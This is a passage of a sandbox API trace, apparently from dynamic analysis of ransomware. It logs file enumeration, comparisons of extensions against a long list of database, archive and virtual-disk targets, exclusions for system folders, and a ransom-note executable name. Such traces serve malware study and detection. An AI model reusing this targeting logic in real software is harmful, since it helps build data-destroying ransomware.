	[0035.893] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0035.893] lstrlenW (lpString="kexi") returned 4
	[0035.893] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0035.893] lstrlenW (lpString="kexic") returned 5
	[0035.893] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0035.893] lstrlenW (lpString="kexis") returned 5
	[0035.893] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0035.893] lstrlenW (lpString="lgc") returned 3
	[0035.893] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0035.893] lstrlenW (lpString="lwx") returned 3
	[0035.893] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0035.893] lstrlenW (lpString="maf") returned 3
	[0035.893] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0035.893] lstrlenW (lpString="maq") returned 3
	[0035.893] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0035.894] lstrlenW (lpString="mar") returned 3
	[0035.894] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0035.894] lstrlenW (lpString="marshal") returned 7
	[0035.894] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0035.894] lstrlenW (lpString="mas") returned 3
	[0035.894] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0035.894] lstrlenW (lpString="mav") returned 3
	[0035.894] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0035.894] lstrlenW (lpString="maw") returned 3
	[0035.894] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0035.894] lstrlenW (lpString="mdbhtml") returned 7
	[0035.894] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0035.894] lstrlenW (lpString="mdn") returned 3
	[0035.894] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0035.894] lstrlenW (lpString="mdt") returned 3
	[0035.894] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0035.894] lstrlenW (lpString="mfd") returned 3
	[0035.894] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0035.894] lstrlenW (lpString="mpd") returned 3
	[0035.894] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0035.894] lstrlenW (lpString="mrg") returned 3
	[0035.894] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0035.894] lstrlenW (lpString="mud") returned 3
	[0035.894] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0035.894] lstrlenW (lpString="mwb") returned 3
	[0035.894] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0035.894] lstrlenW (lpString="myd") returned 3
	[0035.894] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0035.894] lstrlenW (lpString="ndf") returned 3
	[0035.894] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0035.894] lstrlenW (lpString="nnt") returned 3
	[0035.894] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0035.894] lstrlenW (lpString="nrmlib") returned 6
	[0035.894] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0035.894] lstrlenW (lpString="ns2") returned 3
	[0035.894] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0035.894] lstrlenW (lpString="ns3") returned 3
	[0035.894] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0035.895] lstrlenW (lpString="ns4") returned 3
	[0035.895] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0035.895] lstrlenW (lpString="nsf") returned 3
	[0035.895] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0035.895] lstrlenW (lpString="nv") returned 2
	[0035.895] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0035.895] lstrlenW (lpString="nv2") returned 3
	[0035.895] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0035.895] lstrlenW (lpString="nwdb") returned 4
	[0035.895] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0035.895] lstrlenW (lpString="nyf") returned 3
	[0035.895] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0035.895] lstrlenW (lpString="odb") returned 3
	[0035.895] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.895] lstrlenW (lpString="odb") returned 3
	[0035.895] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.895] lstrlenW (lpString="oqy") returned 3
	[0035.895] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0035.895] lstrlenW (lpString="ora") returned 3
	[0035.895] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0035.895] lstrlenW (lpString="orx") returned 3
	[0035.895] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0035.895] lstrlenW (lpString="owc") returned 3
	[0035.895] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0035.895] lstrlenW (lpString="p96") returned 3
	[0035.895] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0035.895] lstrlenW (lpString="p97") returned 3
	[0035.895] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0035.895] lstrlenW (lpString="pan") returned 3
	[0035.895] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0035.895] lstrlenW (lpString="pdb") returned 3
	[0035.895] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0035.895] lstrlenW (lpString="pdm") returned 3
	[0035.895] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0035.895] lstrlenW (lpString="pnz") returned 3
	[0035.895] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0035.895] lstrlenW (lpString="qry") returned 3
	[0035.895] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0035.895] lstrlenW (lpString="qvd") returned 3
	[0035.896] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0035.896] lstrlenW (lpString="rbf") returned 3
	[0035.896] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0035.896] lstrlenW (lpString="rctd") returned 4
	[0035.896] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0035.896] lstrlenW (lpString="rod") returned 3
	[0035.896] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0035.896] lstrlenW (lpString="rodx") returned 4
	[0035.896] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0035.896] lstrlenW (lpString="rpd") returned 3
	[0035.896] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0035.896] lstrlenW (lpString="rsd") returned 3
	[0035.896] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0035.896] lstrlenW (lpString="sas7bdat") returned 8
	[0035.896] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0035.896] lstrlenW (lpString="sbf") returned 3
	[0035.896] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0035.896] lstrlenW (lpString="scx") returned 3
	[0035.896] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0035.896] lstrlenW (lpString="sdb") returned 3
	[0035.896] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0035.896] lstrlenW (lpString="sdc") returned 3
	[0035.896] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0035.896] lstrlenW (lpString="sdf") returned 3
	[0035.896] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0035.896] lstrlenW (lpString="sis") returned 3
	[0035.896] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0035.896] lstrlenW (lpString="spq") returned 3
	[0035.896] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0035.896] lstrlenW (lpString="te") returned 2
	[0035.896] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0035.896] lstrlenW (lpString="teacher") returned 7
	[0035.896] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0035.896] lstrlenW (lpString="tmd") returned 3
	[0035.896] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0035.896] lstrlenW (lpString="tps") returned 3
	[0035.896] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0035.896] lstrlenW (lpString="trc") returned 3
	[0035.896] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.897] lstrlenW (lpString="trc") returned 3
	[0035.897] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.897] lstrlenW (lpString="trm") returned 3
	[0035.897] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0035.897] lstrlenW (lpString="udb") returned 3
	[0035.897] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0035.897] lstrlenW (lpString="udl") returned 3
	[0035.897] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0035.897] lstrlenW (lpString="usr") returned 3
	[0035.897] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0035.897] lstrlenW (lpString="v12") returned 3
	[0035.897] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0035.897] lstrlenW (lpString="vis") returned 3
	[0035.897] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0035.897] lstrlenW (lpString="vpd") returned 3
	[0035.897] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0035.897] lstrlenW (lpString="vvv") returned 3
	[0035.897] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0035.897] lstrlenW (lpString="wdb") returned 3
	[0035.897] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0035.897] lstrlenW (lpString="wmdb") returned 4
	[0035.897] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0035.897] lstrlenW (lpString="wrk") returned 3
	[0035.897] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0035.897] lstrlenW (lpString="xdb") returned 3
	[0035.897] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0035.897] lstrlenW (lpString="xld") returned 3
	[0035.897] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0035.897] lstrlenW (lpString="xmlff") returned 5
	[0035.897] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0035.897] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da40890, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2da40890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0035.897] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0035.897] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hydrangeas.jpg", cAlternateFileName="HYDRAN~1.JPG")) returned 1
	[0035.897] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.897] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0035.897] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2=".") returned 1
	[0035.898] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="..") returned 1
	[0035.898] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="windows") returned -1
	[0035.898] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="bootmgr") returned 1
	[0035.898] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="temp") returned -1
	[0035.898] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="pagefile.sys") returned -1
	[0035.898] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="boot") returned 1
	[0035.898] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="ids.txt") returned -1
	[0035.898] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="ntuser.dat") returned -1
	[0035.898] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="perflogs") returned -1
	[0035.898] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="MSBuild") returned -1
	[0035.898] lstrlenW (lpString="Hydrangeas.jpg") returned 14
	[0035.898] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\Sample Pictures\\desktop.ini") returned 52
	[0035.898] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Hydrangeas.jpg" | out: lpString1="Hydrangeas.jpg") returned="Hydrangeas.jpg"
	[0035.898] lstrlenW (lpString="Hydrangeas.jpg") returned 14
	[0035.898] lstrlenW (lpString="Apollon865") returned 10
	[0035.898] lstrcmpiW (lpString1="angeas.jpg", lpString2="Apollon865") returned -1
	[0035.898] lstrlenW (lpString=".dll") returned 4
	[0035.898] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2=".dll") returned 1
	[0035.898] lstrlenW (lpString=".lnk") returned 4
	[0035.898] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2=".lnk") returned 1
	[0035.898] lstrlenW (lpString=".ini") returned 4
	[0035.898] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2=".ini") returned 1
	[0035.898] lstrlenW (lpString=".sys") returned 4
	[0035.898] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2=".sys") returned 1
	[0035.898] lstrlenW (lpString="Hydrangeas.jpg") returned 14
	[0035.898] lstrlenW (lpString="bak") returned 3
	[0035.898] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0035.898] lstrlenW (lpString="ba_") returned 3
	[0035.898] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0035.898] lstrlenW (lpString="dbb") returned 3
	[0035.898] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0035.898] lstrlenW (lpString="vmdk") returned 4
	[0035.898] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0035.898] lstrlenW (lpString="rar") returned 3
	[0035.898] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0035.898] lstrlenW (lpString="zip") returned 3
	[0035.898] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0035.898] lstrlenW (lpString="tgz") returned 3
	[0035.899] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0035.899] lstrlenW (lpString="vbox") returned 4
	[0035.899] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0035.899] lstrlenW (lpString="vdi") returned 3
	[0035.899] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0035.899] lstrlenW (lpString="vhd") returned 3
	[0035.899] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0035.899] lstrlenW (lpString="vhdx") returned 4
	[0035.899] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0035.899] lstrlenW (lpString="avhd") returned 4
	[0035.899] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0035.899] lstrlenW (lpString="db") returned 2
	[0035.899] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0035.899] lstrlenW (lpString="db2") returned 3
	[0035.899] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0035.899] lstrlenW (lpString="db3") returned 3
	[0035.899] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0035.899] lstrlenW (lpString="dbf") returned 3
	[0035.899] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0035.899] lstrlenW (lpString="mdf") returned 3
	[0035.899] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0035.899] lstrlenW (lpString="mdb") returned 3
	[0035.899] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0035.899] lstrlenW (lpString="sql") returned 3
	[0035.899] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0035.899] lstrlenW (lpString="sqlite") returned 6
	[0035.899] lstrcmpiW (lpString1="as.jpg", lpString2="sqlite") returned -1
	[0035.899] lstrlenW (lpString="sqlite3") returned 7
	[0035.899] lstrcmpiW (lpString1="eas.jpg", lpString2="sqlite3") returned -1
	[0035.899] lstrlenW (lpString="sqlitedb") returned 8
	[0035.899] lstrcmpiW (lpString1="geas.jpg", lpString2="sqlitedb") returned -1
	[0035.899] lstrlenW (lpString="xml") returned 3
	[0035.899] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0035.899] lstrlenW (lpString="$er") returned 3
	[0035.899] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0035.899] lstrlenW (lpString="4dd") returned 3
	[0035.899] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0035.899] lstrlenW (lpString="4dl") returned 3
	[0035.899] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0035.899] lstrlenW (lpString="^^^") returned 3
	[0035.900] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0035.900] lstrlenW (lpString="abs") returned 3
	[0035.900] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0035.900] lstrlenW (lpString="abx") returned 3
	[0035.900] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0035.900] lstrlenW (lpString="accdb") returned 5
	[0035.900] lstrcmpiW (lpString1="s.jpg", lpString2="accdb") returned 1
	[0035.900] lstrlenW (lpString="accdc") returned 5
	[0035.900] lstrcmpiW (lpString1="s.jpg", lpString2="accdc") returned 1
	[0035.900] lstrlenW (lpString="accde") returned 5
	[0035.900] lstrcmpiW (lpString1="s.jpg", lpString2="accde") returned 1
	[0035.900] lstrlenW (lpString="accdr") returned 5
	[0035.900] lstrcmpiW (lpString1="s.jpg", lpString2="accdr") returned 1
	[0035.900] lstrlenW (lpString="accdt") returned 5
	[0035.900] lstrcmpiW (lpString1="s.jpg", lpString2="accdt") returned 1
	[0035.900] lstrlenW (lpString="accdw") returned 5
	[0035.900] lstrcmpiW (lpString1="s.jpg", lpString2="accdw") returned 1
	[0035.900] lstrlenW (lpString="accft") returned 5
	[0035.900] lstrcmpiW (lpString1="s.jpg", lpString2="accft") returned 1
	[0035.900] lstrlenW (lpString="adb") returned 3
	[0035.900] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0035.900] lstrlenW (lpString="adb") returned 3
	[0035.900] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0035.900] lstrlenW (lpString="ade") returned 3
	[0035.900] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0035.900] lstrlenW (lpString="adf") returned 3
	[0035.900] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0035.900] lstrlenW (lpString="adn") returned 3
	[0035.900] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0035.900] lstrlenW (lpString="adp") returned 3
	[0035.900] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0035.900] lstrlenW (lpString="alf") returned 3
	[0035.900] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0035.900] lstrlenW (lpString="ask") returned 3
	[0035.900] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0035.900] lstrlenW (lpString="btr") returned 3
	[0035.900] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0035.900] lstrlenW (lpString="cat") returned 3
	[0035.900] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0035.901] lstrlenW (lpString="cdb") returned 3
	[0035.901] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0035.901] lstrlenW (lpString="ckp") returned 3
	[0035.901] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0035.901] lstrlenW (lpString="cma") returned 3
	[0035.901] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0035.901] lstrlenW (lpString="cpd") returned 3
	[0035.901] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0035.901] lstrlenW (lpString="dacpac") returned 6
	[0035.901] lstrcmpiW (lpString1="as.jpg", lpString2="dacpac") returned -1
	[0035.901] lstrlenW (lpString="dad") returned 3
	[0035.901] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0035.901] lstrlenW (lpString="dadiagrams") returned 10
	[0035.901] lstrcmpiW (lpString1="angeas.jpg", lpString2="dadiagrams") returned -1
	[0035.901] lstrlenW (lpString="daschema") returned 8
	[0035.901] lstrcmpiW (lpString1="geas.jpg", lpString2="daschema") returned 1
	[0035.901] lstrlenW (lpString="db-journal") returned 10
	[0035.901] lstrcmpiW (lpString1="angeas.jpg", lpString2="db-journal") returned -1
	[0035.901] lstrlenW (lpString="db-shm") returned 6
	[0035.901] lstrcmpiW (lpString1="as.jpg", lpString2="db-shm") returned -1
	[0035.901] lstrlenW (lpString="db-wal") returned 6
	[0035.901] lstrcmpiW (lpString1="as.jpg", lpString2="db-wal") returned -1
	[0035.901] lstrlenW (lpString="dbc") returned 3
	[0035.901] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0035.901] lstrlenW (lpString="dbs") returned 3
	[0035.901] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0035.901] lstrlenW (lpString="dbt") returned 3
	[0035.901] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0035.901] lstrlenW (lpString="dbv") returned 3
	[0035.901] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0035.901] lstrlenW (lpString="dbx") returned 3
	[0035.901] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0035.901] lstrlenW (lpString="dcb") returned 3
	[0035.901] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0035.901] lstrlenW (lpString="dct") returned 3
	[0035.901] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0035.901] lstrlenW (lpString="dcx") returned 3
	[0035.902] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0035.902] lstrlenW (lpString="ddl") returned 3
	[0035.902] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0035.902] lstrlenW (lpString="dlis") returned 4
	[0035.902] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0035.902] lstrlenW (lpString="dp1") returned 3
	[0035.902] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0035.902] lstrlenW (lpString="dqy") returned 3
	[0035.902] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0035.902] lstrlenW (lpString="dsk") returned 3
	[0035.902] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0035.902] lstrlenW (lpString="dsn") returned 3
	[0035.902] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0035.902] lstrlenW (lpString="dtsx") returned 4
	[0035.902] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0035.902] lstrlenW (lpString="dxl") returned 3
	[0035.902] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0035.902] lstrlenW (lpString="eco") returned 3
	[0035.902] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0035.902] lstrlenW (lpString="ecx") returned 3
	[0035.902] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0035.902] lstrlenW (lpString="edb") returned 3
	[0035.902] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0035.902] lstrlenW (lpString="epim") returned 4
	[0035.902] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0035.902] lstrlenW (lpString="fcd") returned 3
	[0035.902] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0035.902] lstrlenW (lpString="fdb") returned 3
	[0035.902] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0035.902] lstrlenW (lpString="fic") returned 3
	[0035.902] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0035.902] lstrlenW (lpString="flexolibrary") returned 12
	[0035.902] lstrcmpiW (lpString1="drangeas.jpg", lpString2="flexolibrary") returned -1
	[0035.902] lstrlenW (lpString="fm5") returned 3
	[0035.902] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0035.902] lstrlenW (lpString="fmp") returned 3
	[0035.902] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0035.902] lstrlenW (lpString="fmp12") returned 5
	[0035.902] lstrcmpiW (lpString1="s.jpg", lpString2="fmp12") returned 1
	[0035.903] lstrlenW (lpString="fmpsl") returned 5
	[0035.903] lstrcmpiW (lpString1="s.jpg", lpString2="fmpsl") returned 1
	[0035.903] lstrlenW (lpString="fol") returned 3
	[0035.903] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0035.903] lstrlenW (lpString="fp3") returned 3
	[0035.903] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0035.903] lstrlenW (lpString="fp4") returned 3
	[0035.903] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0035.903] lstrlenW (lpString="fp5") returned 3
	[0035.903] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0035.903] lstrlenW (lpString="fp7") returned 3
	[0035.903] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0035.903] lstrlenW (lpString="fpt") returned 3
	[0035.903] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0035.903] lstrlenW (lpString="frm") returned 3
	[0035.903] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0035.903] lstrlenW (lpString="gdb") returned 3
	[0035.903] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0035.903] lstrlenW (lpString="gdb") returned 3
	[0035.903] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0035.903] lstrlenW (lpString="grdb") returned 4
	[0035.903] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0035.903] lstrlenW (lpString="gwi") returned 3
	[0035.903] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0035.903] lstrlenW (lpString="hdb") returned 3
	[0035.903] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0035.903] lstrlenW (lpString="his") returned 3
	[0035.903] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0035.903] lstrlenW (lpString="ib") returned 2
	[0035.903] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0035.903] lstrlenW (lpString="idb") returned 3
	[0035.903] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0035.903] lstrlenW (lpString="ihx") returned 3
	[0035.903] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0035.903] lstrlenW (lpString="itdb") returned 4
	[0035.903] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0035.903] lstrlenW (lpString="itw") returned 3
	[0035.903] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0035.903] lstrlenW (lpString="jet") returned 3
	[0035.903] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0035.904] lstrlenW (lpString="jtx") returned 3
	[0035.904] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0035.904] lstrlenW (lpString="kdb") returned 3
	[0035.904] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0035.904] lstrlenW (lpString="kexi") returned 4
	[0035.904] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0035.904] lstrlenW (lpString="kexic") returned 5
	[0035.904] lstrcmpiW (lpString1="s.jpg", lpString2="kexic") returned 1
	[0035.904] lstrlenW (lpString="kexis") returned 5
	[0035.904] lstrcmpiW (lpString1="s.jpg", lpString2="kexis") returned 1
	[0035.904] lstrlenW (lpString="lgc") returned 3
	[0035.904] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0035.904] lstrlenW (lpString="lwx") returned 3
	[0035.904] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0035.904] lstrlenW (lpString="maf") returned 3
	[0035.904] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0035.904] lstrlenW (lpString="maq") returned 3
	[0035.904] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0035.904] lstrlenW (lpString="mar") returned 3
	[0035.904] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0035.904] lstrlenW (lpString="marshal") returned 7
	[0035.904] lstrcmpiW (lpString1="eas.jpg", lpString2="marshal") returned -1
	[0035.904] lstrlenW (lpString="mas") returned 3
	[0035.904] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0035.904] lstrlenW (lpString="mav") returned 3
	[0035.904] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0035.904] lstrlenW (lpString="maw") returned 3
